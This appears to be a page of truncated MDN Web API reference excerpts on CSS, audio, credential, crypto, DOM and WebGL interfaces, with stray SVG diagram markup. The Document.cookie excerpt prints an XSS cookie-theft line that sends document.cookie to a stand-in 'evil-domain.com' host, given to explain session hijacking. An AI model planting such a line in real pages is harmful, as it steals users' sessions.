Web/API/CSSRule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSRule</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" ...
...idth="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSRule</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CSSCounterStyleRule" target="_top"><rect x="116" y="1" width="190" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSCounterStyleRule</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Pro...
CSSPrimitiveValue - Web APIs
e value can be converted to a number (see also the RGBColor interface). ...
...width="80" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSValue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#D4DDE4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CSSPrimitiveValue" target="_top"><rect x="121" y="1" width="170" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSPrimitiveValue</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Propert...
CSSStyleRule.selectorText - Web APIs
del (CSSOM)The definition of 'CSSStyleRule.selectorText' in that specification. Working Draft Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...torTextChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 9Opera Full support YesSafari Full support 6
WebView Android Full support 4.4Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
CSSValueList - Web APIs
the CSSValueList are accessible via an integral index, starting from 0. ...
...width="80" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSValue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#D4DDE4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/CSSValueList" target="_top"><rect x="121" y="1" width="120" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">CSSValueList</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Inher...
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
Syntax var splitter = new ChannelSpitterNode(context, options); Parameters Inherits parameters from the AudioNodeOptions dictionary. context A BaseAudioContext representing the audio context you want the node to be associated with. ...
...utputs: A number defining the number of inputs the ChannelSplitterNode should have. If not specified, the default value used is 6. Return value A new ChannelSplitterNode object instance. Example var ac = new AudioContext(); var options = { numberOfOutputs : 2 } var mySplitter = new ChannelSplitterNode(ac, options); Specifications Specification Status Comment
Web Audio APIThe definition of 'ChannelSplitterNode' in that specification. Working Draft ...
Using channel messaging - Web APIs
te scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, or two documents via a SharedWorker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end. In this article we'll explore the basics of using this technology. Note: This feature is available in
Web Workers. Use cases Channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via IFrames, such as games, address book, or an audio player with personalized music choices. When these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or...
...its, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or the different IFrames. For example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add new background music choices from the audio player onto the game? Such things are not so easy using conventional
web technology, because of the security models the
web uses. You have to think about whether the origins trust one another, and how the messages are passed. Message channels on the other hand can provide a secure channel that allows you to pass data between different browsing contexts. Note: For more information and ideas, the Ports as the basis of an object-capability model on the
Web section of...
Clipboard - Web APIs
The system clipboard is exposed through the global Navigator.clipboard property. Calls to the methods of the Clipboard object will not succeed if the user hasn't granted the needed permissions using the Permissions API and the "clipboard-read" or "clipboard-write" permission as appropriate. ...
...enting it in browsers is not yet complete. Due to both potential security concerns and technical complexities, the process of integrating this API is happening gradually in most browsers. For example, Firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways. For
WebExtensions, you can request the clipboardRead and clipboardWrite permissions to be able to use clipboard.readText() and clipboard.writeText(). Content scripts applied on HTTP sites do not have access to the clipboard object. See extensions in Firefox 63. In addition, read() and write() are disabled by default and require changing a preference to enable them. Check the compatibility tables for eac...
CloseEvent - Web APIs
A CloseEvent is sent to clients using
WebSockets when the connection is closed. This is delivered to the listener indicated by the
WebSocket object's onclose attribute. Constructor CloseEvent() Creates a new CloseEvent. Properties This interface also inherits properties from its parent, Event. CloseEvent.code Read only Returns an unsigned short containing the close code sent by the server. The following values are permitted status codes. The following definitions are sourced from the IANA
website [Ref]. Note that the 1xxx codes are only
WebSocket-internal and not for the same meaning by the transported data (like when the application-layer protocol is invalid). The only permitted codes to be specified in Firefox are 1000 and 3000 to 4999 [Source, Bug]. Status code ...
...teway The server was acting as a gateway or proxy and received an invalid response from the upstream server. This is similar to 502 HTTP Status Code. 1015 TLS Handshake Reserved. Indicates that the connection was closed due to a failure to perform a TLS handshake (e.g., the server certificate can't be verified). 1016-1999 Reserved for future use by the
WebSocket standard. 2000-2999 Reserved for use by
WebSocket extensions. 3000-3999 Available for use by libraries and frameworks. May not be used by applications. Available for registration at the IANA via first-come, first-serve. 4000-4999 Available for use by applications. CloseEvent.reason Read only Returns a DOMString ind...
Console.groupCollapsed() - Web APIs
Syntax console.groupCollapsed([label]); Parameters label Label for the group. Optional. Specifications Specification Status Comment Console APIThe definition of 'console.groupCollapsed()' in that specification. ...
... Syntax console.groupCollapsed([label]); Parameters label Label for the group. Optional. Specifications Specification Status Comment Console APIThe definition of 'console.groupCollapsed()' in that specification. ...
ConstantSourceNode - Web APIs
This makes it useful for cases in which you need a constant value coming in from an audio source. In addition, it can be used like a constructible AudioParam by automating the value of its offset or by connecting another node to it; see Controlling multiple parameters with ConstantSourceNode. A ConstantSourceNode has no inputs and exactly one monaural (one-channel) output. The output's value is always the same as the value of the offset parameter. ...
...eakers or headphones). Now, whenever the value of constantNode.offset changes, the gain on both gainNode2 and gainNode3 will change to have that same value. To see this example in action, as well as to read the rest of the code from which these snippets were derived, see Controlling multiple parameters with ConstantSourceNode. Specification Specification Status Comment
Web Audio APIThe definition of 'ConstantSourceNode' in that specification. Working Draft ...
ConvolverNode.buffer - Web APIs
, the buffer and the state of the attribute will be used to configure the ConvolverNode with this impulse response having the given normalization. The initial value of this attribute is null. Syntax var audioCtx = new AudioContext(); var convolver = audioCtx.createConvolver(); convolver.buffer = myAudioBuffer; Value An AudioBuffer. Example var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var convolver = audioCtx.createConvolver(); ... // grab audio track via XHR for convolver node var soundSource, concertHallBuffer; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open('GET', 'concert-crowd.ogg', true); ajaxRequest.responseType = 'arraybuffer'; ajaxRequest.onload = function() { var audioData = ajaxRequest.response; audioCtx.decodeAudioData(audioData, ...
... Working Draft ...
ConvolverNode.normalize - Web APIs
e is set to false, then the convolution will be rendered with no pre-processing/scaling of the impulse response. Changes to this value do not take effect until the next time the buffer attribute is set. Syntax var audioCtx = new AudioContext(); var convolver = audioCtx.createConvolver(); convolver.normalize = false; Value A boolean. Example var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var convolver = audioCtx.createConvolver(); ... // grab audio track via XHR for convolver node var soundSource, concertHallBuffer; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open('GET', 'concert-crowd.ogg', true); ajaxRequest.responseType = 'arraybuffer'; ajaxRequest.onload = function() { var audioData = ajaxRequest.response; audioCtx.decodeAudioData(audioData, ...
... Working Draft ...
CredentialsContainer.create() - Web APIs
s for creating/obtaining federated credentials. The available options are: id: (required) USVString Inherited from CredentialData. ...
...that describes the options for creating a
WebAuthn credential. Returns A Promise that resolves with a Credential instance, such as PasswordCredential, FederatedCredential, or PublicKeyCredential. Specifications Specification Status Comment Credential Management Level 1The definition of 'get()' in that specification. Working Draft Initial definition.
Web Authentication: An API for accessing Public Key Credentials Level 1 Recommendation Initial definition. ...
CredentialsContainer.get() - Web APIs
deratedCredentialRequestOptions object containing requirements for returned federated credentials. The available options are: providers: An array of DOMString instances of identity providers to search for. protocols An array of DOMString instances of federation protocols to search for. publicKey: An PublicKeyCredentialRequestOptions object containing requirements for returned
WebAuthn credentials. mediation: A String indicating whether the user will be required to log on for every visit to the
website. Valid values are "silent", "optional", or "required". unmediated: A Boolean indicating the returned Credential instance should not require user mediation. signal: An instance of AbortSignal that can indicate that an ongoing get() operation should be halted. An abor...
...eption. Returns A Promise that resolves with a Credential instance that matches the provided parameters. If a single Credential cannot be unambigiously obtained, the Promise will resolve to null. Specifications Specification Status Comment Credential Management Level 1The definition of 'get()' in that specification. Working Draft Initial definition.
Web Authentication: An API for accessing Public Key Credentials Level 1 Recommendation Initial definition. ...
CredentialsContainer - Web APIs
. CredentialsContainer.get()Secure context Returns a Promise that resolves with the Credential instance that matches the provided parameters. CredentialsContainer.preventSilentAccess()Secure context Sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty Promise. For example, you might call this, after a user signs out of a
website to ensure that he/she isn't automatically signed in on the next site visit. Earlier versions of the spec called this method requireUserMediation(). See Browser compatibility for support details. CredentialsContainer.store()Secure context Stores a set of credentials for a user, inside a provided Credential instance and returns that instance in a Promise. Examples // TBD Specifications ...
...quireUserMediation(). See Browser compatibility for support details. CredentialsContainer.store()Secure context Stores a set of credentials for a user, inside a provided Credential instance and returns that instance in a Promise. Examples // TBD Specifications Specification Status Comment Credential Management Level 1 Working Draft Initial definition.
Web Authentication: An API for accessing Public Key Credentials Level 1 Recommendation Initial definition. ...
Crypto.getRandomValues() - Web APIs
tion under error conditions. DOMException (name: QuotaExceededError) The requested length exceeds 65,536 bytes. Usage notes Don't use getRandomValues() to generate encryption keys. Instead, use the generateKey() method. There are a few reasons for this; for example, getRandomValues() is not guaranteed to be running in a secure context. There is no minimum degree of entropy mandated by the
Web Cryptography specification. User agents are instead urged to provide the best entropy they can when generating random numbers, using a well-defined, efficient pseudorandom number generator built into the user agent itself, but seeded with values taken from an external source of pseudorandom numbers, such as a platform-specific random number function, the Unix /dev/urandom device, or other source ...
... Unix /dev/urandom device, or other source of random or pseudorandom data. Examples /* Assuming that window.crypto.getRandomValues is available */ var array = new Uint32Array(10); window.crypto.getRandomValues(array); console.log("Your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } Specification Specification Status Comment
Web Cryptography API Recommendation Initial definition ...
CryptoKey - Web APIs
For security reasons, the CryptoKey interface can only be used in a secure context. Properties CryptoKey.type String which may take one of the following values: "secret": This key is a secret key for use with a symmetric algorithm. "private": This key is the private half of an asymmetric algorithm's CryptoKeyPair. "public": This key is the public half of an asymmetric algorithm's CryptoKeyPair. CryptoKey.extractable Boolean indicating whether or not the key may be extracted using SubtleCrypto.exportKey() or SubtleCrypto.wrapKey(). ...
...he examples for SubtleCrypto methods often use CryptoKey objects. For example: SubtleCrypto.generateKey() SubtleCrypto.deriveKey() SubtleCrypto.importKey() SubtleCrypto.exportKey() SubtleCrypto.wrapKey() SubtleCrypto.unwrapKey() SubtleCrypto.encrypt() SubtleCrypto.decrypt() SubtleCrypto.sign() SubtleCrypto.verify() Specifications Specification Status Comment
Web Cryptography APIThe definition of 'CryptoKey' in that specification. Recommendation Initial definition. ...
CryptoKeyPair - Web APIs
A CryptoKeyPair object can be obtained using SubtleCrypto.generateKey(), when the selected algorithm is one of the asymmetric algorithms: RSASSA-PKCS1-v1_5, RSA-PSS, RSA-OAEP, ECDSA, or ECDH. It contains two properties, which are both CryptoKey objects: a privateKey property containing the private key and a publicKey property containing the public key. Properties CryptoKey.privateKey A CryptoKey object representing the private key. For encryption and decryption algorithms, this key is used to decrypt. For signing and verification algorithms it is used to sign. ...
...xamples for SubtleCrypto methods often use CryptoKeyPair objects. For example: SubtleCrypto.generateKey() SubtleCrypto.deriveKey() SubtleCrypto.importKey() SubtleCrypto.exportKey() SubtleCrypto.wrapKey() SubtleCrypto.unwrapKey() SubtleCrypto.encrypt() SubtleCrypto.decrypt() SubtleCrypto.sign() SubtleCrypto.verify() Specifications Specification Status Comment
Web Cryptography APIThe definition of 'CryptoKeyPair' in that specification. Recommendation Initial definition. ...
CustomElementRegistry.define() - Web APIs
t. SyntaxError The provided name is not a valid custom element name. TypeError The referenced constructor is not a constructor. Note: You'll often get NotSupportedErrors thrown that seem like define() is failing, but instead it is likely a problem with Element.attachShadow(). Examples Autonomous custom element The following code is taken from our popup-info-box-
web-component example (see it live also). // Create a class for the element class PopUpInfo extends HTMLElement { constructor() { // Always call super first in constructor super(); // Create a shadow root var shadow = this.attachShadow({mode: 'open'}); // Create spans var wrapper = document.createElement('span'); wrapper.setAttribute('class','wrapper'); var icon =...
...PopUpInfo); <popup-info img="img/alt.png" text="Your card validation code (CVC) is an extra security feature -- it is the last 3 or 4 numbers on the back of your card."> Note: Constructors for autonomous custom elements must extend HTMLElement. Customized built-in element The following code is taken from our word-count-
web-component example (see it live also). // Create a class for the element class WordCount extends HTMLParagraphElement { constructor() { // Always call super first in constructor super(); // count words in element's parent element var wcParent = this.parentNode; function countWords(node){ var text = node.innerText || node.textContent return text.split(/\s+/g).le...
CustomEvent - Web APIs
Constructor CustomEvent() Creates a CustomEvent. Properties CustomEvent.detail Read only Any data passed when initializing the event. This interface inherits properties from its parent, Event: Event.bubbles Read only A boolean indicating whether or not the event bubbles up through the DOM. Event.cancelBubble A historical alias to Event.stopPropagation(). Setting its value to true before returning from an event handler prevents propagation of the event. ...
...entually adopted into the DOM specification in order to ensure existing sites continue to work. Ideally, you should try to use Event.preventDefault() and Event.defaultPrevented instead, but you can use returnValue if you choose to do so. Event.srcElement A non-standard alias (from old versions of Microsoft Internet Explorer) for Event.target. Some other browsers are starting to support it for
web compatibility purposes. Event.target Read only A reference to the target to which the event was originally dispatched. Event.timeStamp Read only The time at which the event was created (in milliseconds). By specification, this value is time since epoch--but in reality, browsers' definitions vary. In addition, work is underway to change this to be a DOMHighResTimeStamp instead. Event.type R...
DOMException.code - Web APIs
xception interface returns a short that contains one of the error code constants, or 0 if none match. This field is used for historical reasons. New DOM exceptions don't use this anymore: they put this info in the DOMException.name attribute. Syntax var domExceptionCode = domExceptionInstance.code; Value A short number. Specifications Specification Status Comment
Web IDLThe definition of 'code' in that specification. Candidate Recommendation Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for...
...ari on iOSSamsung InternetcodeChrome Full support YesEdge Full support 12Firefox Full support 1IE ? ...
DOMException.message - Web APIs
The message read-only property of the DOMException interface returns a DOMString representing a message or description associated with the given error name. Syntax var domExceptionMessage = domExceptionInstance.message; Value A DOMString. Specifications Specification Status Comment
Web IDLThe definition of 'message' in that specification. Candidate Recommendation Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetmessag...
... on iOSSamsung InternetmessageChrome Full support YesEdge Full support 12Firefox Full support 1IE ? ...
DOMException - Web APIs
Each exception has a name, which is a short "CamelCase" style string identifying the error or abnormal condition. Constructor DOMException() Returns a DOMException object with a specified message and name. Properties DOMException.code Read only Returns a short that contains one of the error code constants, or 0 if none match. This field is used for historical reasons. ...
...alue and constant name). OperationError The operation failed for an operation-specific reason (No legacy code value and constant name). NotAllowedError The request is not allowed by the user agent or the platform in the current context, possibly because the user denied permission (No legacy code value and constant name). Specifications Specification Status Comment
Web IDLThe definition of 'constructor' in that specification. Candidate Recommendation Adds the constructor for the DOMException class. Adds the NotReadableError, UnknownError, ConstraintError, DataError, TransactionInactiveError, ReadOnlyError, VersionError, OperationError, and NotAllowedError values. ...
DOMRectReadOnly.fromRect() - Web APIs
definition of 'fromRect()' in that specification. Candidate Recommendation Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tionChrome Full support 57Edge Full support 79Firefox Full support 69IE No support NoOpera Full support 44Safari Full support 10.1
WebView Android Full support 57Chrome Android Full support 57Firefox Android No support NoOpera Android Full support 43Safari iOS Full support 10.3Samsung Internet Android ...
DOMTokenList.forEach() - Web APIs
of 'forEach() (as iterable<Node>)' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...orEachChrome Full support 45Edge Full support 16Firefox Full support 50IE No support NoOpera Full support 32Safari Full support 10
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support 50Opera Android Full support 32Safari iOS Full support 10Samsung Internet Android ...
DataTransferItem - Web APIs
kind of drag data item, string or file. DataTransferItem.type Read only The drag data item's type, typically a MIME type. Methods DataTransferItem.getAsFile() Returns the File object associated with the drag data item (or null if the drag item is not a file). DataTransferItem.getAsString() Invokes the specified callback with the drag data item string as its argument. DataTransferItem.
webkitGetAsEntry() Returns an object based on FileSystemEntry representing the selected file's entry in its file system. This will generally be either a FileSystemFileEntry or FileSystemDirectoryEntry object. Example All of this interface's methods and properties have their own reference page, and each reference page has an example of its usage. Specifications Specification Status...
... its usage. Specifications Specification Status Comment HTML Living StandardThe definition of 'DataTransferItem' in that specification. Living Standard Initial definition. HTML 5.1The definition of 'DataTransferItem' in that specification. Recommendation W3C snapshot of WHATWG File and Directory Entries APIThe definition of 'DataTransferItem.
webkitGetAsEntry()' in that specification. Draft Definition of
webkitGetAsEntry() as part of the File and Directory Entries API. ...
DelayNode.delayTime - Web APIs
ou to play three different samples on a constant loop -- see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var synthDelay = audioCtx.createDelay(5.0); ... var synthSource; playSynth.onclick = function() { synthSource = audioCtx.createBufferSource(); synthSource.buffer = buffers[2]; synthSource.loop = true; synthSource.start(); synthSource.connect(synthDelay); synthDelay.connect(destination); this.setAttribute('disabled', 'disabled'...
... Working Draft ...
DelayNode - Web APIs
ou to play three different samples on a constant loop -- see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time. var AudioContext = window.AudioContext || window.
webkitAudioContext; var audioCtx = new AudioContext(); var synthDelay = audioCtx.createDelay(5.0); ... var synthSource; playSynth.onclick = function() { synthSource = audioCtx.createBufferSource(); synthSource.buffer = buffers[2]; synthSource.loop = true; synthSource.start(); synthSource.connect(synthDelay); synthDelay.connect(destination); this.setAttribute('disabled', 'disabled'...
... Working Draft ...
DeviceOrientationEvent - Web APIs
Warning: Currently, Firefox and Chrome do not handle the coordinates the same way. Take care about this while using them. Constructor DeviceOrientationEvent.DeviceOrientationEvent() Creates a new DeviceOrientationEvent. Properties DeviceOrientationEvent.absolute Read only A boolean that indicates whether or not the device is providing orientation data absolutely. DeviceOrientationEvent.alpha Read only A number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360. ...
...ing the motion of the device around the x axis, express in degrees with values ranging from -180 to 180. This represents a front to back motion of the device. DeviceOrientationEvent.gamma Read only A number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90. This represents a left to right motion of the device. DeviceOrientationEvent.
webkitCompassHeading Read only A number represents the difference between the motion of the device around the z axis of the world system and the direction of the north, express in degrees with values ranging from 0 to 360. DeviceOrientationEvent.
webkitCompassAccuracy Read only The accuracy of the compass means that the deviation is positive or negative. It's usually 10. Example window.addEve...
Document.cookie - Web APIs
included. Note: The domain must match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored. ;max-age=max-age-in-seconds (e.g., 60*60*24*365 or 31536000 for a year) ;expires=date-in-GMTString-format If neither expires nor max-age specified it will expire at the end of session. When user privacy is a concern, it's important that any
web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe. See Date.toUTCString() for help formatting this value. ;secure Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear...
...s not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy. Cookies are often used in
web application to identify a user and their authenticated session. So stealing the cookie from a
web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application - (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; The HTTPOnly c...
Document.evaluate() - Web APIs
e definition of 'Document.evaluate' in that specification. Recommendation Initial specification Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...evaluateChrome Full support 1Edge Full support 12Firefox Full support 1.5IE No support NoOpera Full support 9Safari Full support 5
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 4.2Samsung Internet Android ...
Document.fonts - Web APIs
Level 3The definition of 'FontFaceSet' in that specification. Working Draft Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...abled From version 35 until version 41 (exclusive): this feature is behind the layout.css.font-loading-api.enabled preference (needs to be set to true). ...
Document.forms - Web APIs
ificationThe definition of 'Document.forms' in that specification. Obsolete Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ri on iOSSamsung InternetformsChrome Full support 1Edge Full support 12Firefox Full support YesIE ? ...
Document.getAnimations() - Web APIs
The getAnimations() method of the Document interface returns an array of all Animation objects currently in effect whose target elements are descendants of the document. This array includes CSS Animations, CSS Transitions, and
Web Animations. Syntax var allAnimations = Document.getAnimations(); Parameters None. Return value An Array of Animation objects, each representing one animation currently associated with elements which are descendants of the Document on which it's called. ...
... animation currently associated with elements which are descendants of the Document on which it's called. Examples The following code snippet will slow down all animations on a page by halving their Animation.playbackRate. document.getAnimations().forEach( function (animation) { animation.playbackRate *= .5; } ); Specifications Specification Status Comment
Web AnimationsThe definition of 'document.getAnimations()' in that specification. Working Draft ...
DocumentFragment.querySelector() - Web APIs
inition of 'DocumentFragment.querySelector' in that specification. Obsolete Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ctorChrome Full support 1Edge Full support 12Firefox Full support 3.5IE Full support 9Opera Full support 10Safari Full support 3.2
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 3.2Samsung Internet Android ...
DocumentOrShadowRoot.getSelection() - Web APIs
OMThe definition of 'DocumentOrShadowRoot' in that specification. Obsolete Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...alChrome Full support 53Edge Full support 12Firefox Full support 63IE Full support YesOpera Full support 40Safari Full support Yes
WebView Android Full support 53Chrome Android Full support 53Firefox Android Full support 63Opera Android Full support 41Safari iOS Full support YesSamsung Internet Android ...
DocumentTimeline.DocumentTimeline() - Web APIs
Syntax var sharedTimeline = new DocumentTimeline(options); Parameters options An object specifying options for the new timeline. Currently the only supported option is the originTime member which specifies the zero time for the documentTimeline as a real number of milliseconds relative to the navigationStart moment of the active document for the current browsing context. Examples We could share a single documentTimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. ...
... Working Draft Editor's draft. ...
DocumentTimeline - Web APIs
Constructor DocumentTimeline() Creates a new DocumentTimeline object associated with the active document of the current browsing context. Properties This interface inherits its property from its parent, AnimationTimeline. AnimationTimeline.currentTime Returns the time value in milliseconds for this timeline or null if it is inactive. Examples We could share a single documentTimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. ...
... Working Draft Editor's draft. ...
How to create a DOM tree - Web APIs
This page describes how to use the DOM Core API in JavaScript to create and modify DOM objects. It applies to all Gecko-based applications (such as Firefox) both in privileged (extensions) and unprivileged (
web pages) code. Dynamically creating a DOM tree Consider the following XML document: <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="H" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" cit...
... You can use DOM trees to model data which isn't well-suited for RDF (or perhaps you just don't like RDF). Another application is that, since XUL is XML, the UI of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed...
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
Note: Firefox DevTools have supported highlighting text nodes since version 52, making it easier to see exactly what nodes whitespace characters are contained within. Pure whitespace nodes are mar...
...y applying the processing rules for whitespace in inline formatting contexts to these blocks: <block></block> <block>Hello</block> <block></block> <block>World!</block> <block></block> The 3 empty blocks we now have are not going to occupy any space in the final layout, because they don't contain anything, so we'll end up with only 2 blocks taking up space in the page. People viewing the
web page see the words "Hello" and "World!" on 2 separate lines as you'd expect 2 <div>s to be laid out. The browser engine has essentially ignored all of the whitespace that was added in the source code. Spaces in between inline and inline-block elements Let's move on to look at a few issues that can arise due to whitespace, and what can be done about them. First of all, we'll look at what happ...
EXT_color_buffer_float - Web APIs
The EXT_color_buffer_float extension is part of
WebGL and adds the ability to render a variety of floating point formats.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to
WebGL 2 contexts only. For
WebGL 1, see the EXT_color_buffer_half_float and
WEBGL_color_buffer_float extensions. Extended methods The following sized formats become color-renderable: gl.R16F, gl.RG16F, gl.RGBA16F, gl.R32F, gl.RG32F, gl.RGBA32F, gl.R11F_G11F_B10F. Color-renderable means: The
WebGLRenderingContext.renderbufferStorage() method now accepts these formats. Framebuffers with attached textures of these formats may now be FRAMEBUFFER_COMPLETE. ...
...t extensions. Extended methods The following sized formats become color-renderable: gl.R16F, gl.RG16F, gl.RGBA16F, gl.R32F, gl.RG32F, gl.RGBA32F, gl.R11F_G11F_B10F. Color-renderable means: The
WebGLRenderingContext.renderbufferStorage() method now accepts these formats. Framebuffers with attached textures of these formats may now be FRAMEBUFFER_COMPLETE. Examples gl must be a
WebGL2RenderingContext. This extension does not work in
WebGL 1 contexts. var ext = gl.getExtension('EXT_color_buffer_float'); gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA16F, 256, 256); Specifications Specification Status Comment EXT_color_buffer_floatThe definition of 'EXT_color_buffer_float' in that specification. Recommendation Initial definition for
WebGL. ...
EXT_color_buffer_half_float - Web APIs
The EXT_color_buffer_half_float extension is part of the
WebGL API and adds the ability to render to 16-bit floating-point color buffers.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to
WebGL 1 contexts only. For
WebGL 2, use the EXT_color_buffer_float extension. The OES_texture_half_float extension implicitly enables this extension. Constants ext.RGBA16F_EXT RGBA 16-bit floating-point color-renderable format. ext.RGB16F_EXT RGB 16-bit floating-point color-renderable format. ...
...ebGL 2, use the EXT_color_buffer_float extension. The OES_texture_half_float extension implicitly enables this extension. Constants ext.RGBA16F_EXT RGBA 16-bit floating-point color-renderable format. ext.RGB16F_EXT RGB 16-bit floating-point color-renderable format. ext.FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT ? ext.UNSIGNED_NORMALIZED_EXT ? Extended methods This extension extends
